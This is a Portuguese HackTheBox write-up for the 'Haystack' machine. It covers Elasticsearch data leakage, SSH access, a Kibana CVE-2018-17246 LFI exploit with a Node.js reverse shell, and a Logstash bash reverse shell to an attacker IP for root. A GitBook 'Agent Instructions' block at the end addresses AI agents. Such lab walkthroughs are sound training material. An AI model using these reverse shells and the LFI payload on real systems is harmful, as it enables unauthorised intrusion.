> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/haystack-hackthebox-writeup.md).

# Relato do HackTheBox Haystack

{% embed url="<https://app.hackthebox.com/machines/195>" %}

{% hint style="warning" %}
**Habilidades**:

* Enumeração do ElasticSearch
* Vazamento de Informações
* Enumeração do Kibana
* Exploração do Kibana (CVE-2018-17246)
* Abusando do Logstash (Escalada de privilégios)
  {% endhint %}

## Reconhecimento <a href="#reconnaissance" id="reconnaissance"></a>

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="/files/3801c936a3b0c3ba046506f328d2c4a38196b7ed" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

<figure><img src="/files/2b19255e1bff460e241a87cd9ba50099db7e97da" alt="" width="563"><figcaption></figcaption></figure>

**Descoberta de portas abertas com Nmap:**

Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -Pn -n 10.10.10.115 -oG allPorts
```

<figure><img src="/files/dce1efd9b7f912bb1262462ebc2ff196cbedb6f5" alt=""><figcaption></figcaption></figure>

**Análise de portas abertas com extractPorts:**

Use a função extractPorts para exibir as portas abertas em um formato conciso e copiá-las para a área de transferência (9200)

<figure><img src="/files/415247ae767f8ce6266d346460ef36b71025f757" alt="" width="563"><figcaption></figcaption></figure>

Varredura de versões de portas com Nmap:

Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p22,80,9200 10.10.10.115 -oN targeted
```

<figure><img src="/files/31f5401b36f6ce893848895ead5612017e1ce366" alt=""><figcaption></figcaption></figure>

Para resolver nomes de domínio em endereços IP via DNS, inserimos o nome de domínio associado ao seu endereço IP no `/etc/hosts` arquivo:

<figure><img src="/files/7db817be29fba5f2a318b0c3f8fbbcbcade5f7cc" alt="" width="563"><figcaption></figcaption></figure>

## Análise de Serviços Expostos

### Porta 80 - Vazamento de Informações

**Extraindo Metadados com ExifTool**

<figure><img src="/files/52f2d94a9c6c866879d9de70063676e6954ab426" alt="" width="563"><figcaption></figcaption></figure>

Ao analisar a imagem encontrada no servidor com `strings`, descobrimos uma string codificada em base64:

`bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==`

<figure><img src="/files/d8864d5320b230acdefe61bdd7e3656e807517bc" alt=""><figcaption></figcaption></figure>

Depois de decodificada, essa string revela a seguinte mensagem: *"a agulha no palheiro é 'chave'"*.

<figure><img src="/files/e8cfb2c15862030193a8bc1cab4124f944d2e806" alt="" width="563"><figcaption></figcaption></figure>

### Elasticsearch - Vazamento de Informações

#### A porta 9200 hospeda a versão 6.4.2 do ElasticSearch.

<figure><img src="/files/33476223cc5d0d026a2dc1cfbc8852d559c196f3" alt="" width="563"><figcaption></figcaption></figure>

{% hint style="info" %}
O Elasticsearch é um mecanismo de busca e análise em tempo real usado para indexar e pesquisar rapidamente grandes volumes de dados. Ele se integra à stack ELK para fornecer recursos avançados de visualização e análise de dados.
{% endhint %}

<figure><img src="/files/6a51a8d408fad193a43bec6fa023c3c66f6dfcf3" alt=""><figcaption></figcaption></figure>

Ao acessar o `/_cat/indices?` URL, obtemos uma lista de índices com seus UUIDs. Para extrair o conteúdo de um índice, usamos a seguinte URL:

`http://haystack.htb:9200/<index>/_search?pretty=true&size=1000`

<figure><img src="/files/9532a2c1c30c00857bf5026af2c8725767b6eb32" alt=""><figcaption></figcaption></figure>

**Filtragem de Dados com Curl**

Usando o índice `quotes` e filtrando pela palavra-chave do desafio, informações relevantes são encontradas:

```bash
curl -s -X GET "http://haystack.htb:9200/quotes/_search?pretty=true&size=1000" | jq | grep -Ei "clave"
```

<figure><img src="/files/0cac905fd4b3af0c08ea363a45ec65247022ca66" alt=""><figcaption></figcaption></figure>

**Decodificando Strings Codificadas em Base64**

Obtemos duas strings codificadas em base64 que, ao serem decodificadas, revelam as informações de identificação:

```bash
echo -n "cGFzczogc3BhbmlzaC5pcy5rZXk=" | base64 -d; echo
echo -n "dXNlcjogc2VjdXJpdHkg" | base64 -d; echo
```

<figure><img src="/files/729bd14db01ce1d9d89006ad2943f7289afe1fcd" alt=""><figcaption></figcaption></figure>

**Usuário:** `security`/ **Senha:** `spanish.is.key`

### Conexão SSH

Com as credenciais obtidas, nos conectamos à máquina-alvo via SSH e acessamos o usuário:

```bash
ssh security@10.10.10.115
```

<figure><img src="/files/37fb5a1e4f6e9ae8f8bbb4207430efb8ea822036" alt=""><figcaption></figcaption></figure>

### Flag user.txt :)

<figure><img src="/files/c1ef92100d551e7e82beb642ff4355cc09db03ca" alt="" width="520"><figcaption></figcaption></figure>

**Depois de obter acesso ao servidor Linux, estes são os comandos a executar para o processamento no terminal:**

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

**Isso permitirá que você trabalhe de forma muito mais eficiente e, acima de tudo, mais confortável.**

## Elevação de privilégios :

### Kibana (Encaminhamento de Porta)

**Etapa 1: Identificando Portas Abertas**

Primeiro, observamos as portas abertas internamente usando o seguinte comando:

```bash
netstat -nltp
```

Percebemos que a porta **5601** chama nossa atenção.

<figure><img src="/files/3eddffbf8073edc072962c71e5a91eb3f91f4a1a" alt=""><figcaption></figcaption></figure>

Ao realizar uma `curl` solicitação nessa porta, obtemos uma página HTML do Kibana:

{% hint style="info" %}
**Kibana** é um software de painel de visualização de dados pronto para uso para o Elasticsearch
{% endhint %}

<figure><img src="/files/c87057db30b9f72835066f0c61e4fc19db90aec6" alt=""><figcaption></figcaption></figure>

**Etapa 2: Encaminhamento de porta para acesso ao Kibana**

Vamos redirecionar a porta interna do servidor **5601** para nossa máquina local para acessá-la pelo navegador. Esse redirecionamento pode ser feito via SSH com o seguinte comando:

```bash
ssh -L 5601:127.0.0.1:5601 security@10.10.10.115 -N
```

Isso redireciona a porta local 5601 da máquina-alvo para a porta 5601 da nossa própria máquina, permitindo acesso direto

<figure><img src="/files/6070abafd686c89a9f3595c31668404aa76c4ad9" alt=""><figcaption></figcaption></figure>

**Etapa 3: Verificando a versão do Kibana**

Ao acessar `http://localhost:5601/api/status`, observamos o número da versão do Kibana: **6.4.2**. Esta versão é vulnerável a um **Inclusão de Arquivo Local (LFI)** ataque, identificado como **CVE-2018-17246**.

<figure><img src="/files/be8c0d99a439b4262a22b7e0f3fa0d19c8edfdf8" alt=""><figcaption></figcaption></figure>

### Exploração do Kibana (CVE-2018-17246)

{% embed url="<https://github.com/mpgn/CVE-2018-17246>" %}

**Etapa 4: Explorar a vulnerabilidade**

Para explorar essa vulnerabilidade, criaremos um arquivo JavaScript para obter uma shell reversa. No `/tmp` diretório da máquina-alvo, crie um arquivo chamado `rev.js` com o seguinte código:

<pre class="language-javascript"><code class="lang-javascript"><strong>function(){
</strong>    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(443, "10.10.14.24", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Impede que a aplicação Node.js trave
})();
</code></pre>

Este script estabelecerá uma conexão com sua máquina na porta **443** para abrir uma shell.

**Etapa 5: Redirecionamento do fluxo para um arquivo**

Em seguida, redirecione o fluxo para o `/dev/shm/rev.js` arquivo com o seguinte comando:

```bash
curl -s -X GET "http://localhost:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../dev/shm/rev.js"
```

**Etapa 6: Ouvir na porta para a shell reversa**

Na sua máquina, inicie um listener na porta **443** para capturar a reverse shell:

```bash
nc -nlvp 443
```

Depois de fazer login, você terá uma shell na máquina-alvo, permitindo a escalada de privilégios.

<figure><img src="/files/33d943c9f8bb38e92b41bcc5cc09f18d27950d4f" alt=""><figcaption></figcaption></figure>

## Abusando do Logstash

Procuramos todos os arquivos acessíveis com o usuário `kibana`:

```bash
find / -user kibana 2>/dev/null | grep -vE "usr|var|proc"
```

<figure><img src="/files/9a1c3219e39c98ab4cb5e34c0ea4db38b34e1b1f" alt="" width="563"><figcaption></figcaption></figure>

Ao acessar o Logstash, descobrimos três arquivos de configuração:

* `filter.conf`
* `input.conf`
* `output.conf`

<figure><img src="/files/8cf46937291a459551f2e442ef58b5bc33ff5d33" alt=""><figcaption></figcaption></figure>

{% hint style="warning" %}
Em resumo, o Logstash executa uma tarefa cron que verifica a cada 10 segundos se um arquivo chamado `logstash_*` no `/opt/kibana/` diretório. Se um arquivo correspondente for encontrado e contiver um comando com uma entrada específica, na forma:
{% endhint %}

`"message" => "Run/scommand/s:/s+%{GREEDYDATA:command}"`

<figure><img src="/files/0645e81d69f9e7a0488ac22497755325cd28a7b0" alt=""><figcaption></figcaption></figure>

Para explorar essa vulnerabilidade, criamos um arquivo chamado `logstash_exec` no `/opt/kibana/` diretório com o seguinte conteúdo:

```bash
bash -i >& /dev/tcp/10.10.14.7/4444 0>&1
```

Em seguida, ouvimos na porta 4444 e obtemos acesso root.

<figure><img src="/files/5f7ec5ec79852159cd679c0db320d01ab59305c7" alt=""><figcaption></figcaption></figure>

### Flag root :)

<figure><img src="/files/924bd46f7e4375892bee7024692294c9147c2fe6" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/b16792338c738a6f8264b1a3ca97ccb1a07189ad" alt="" width="522"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/haystack-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
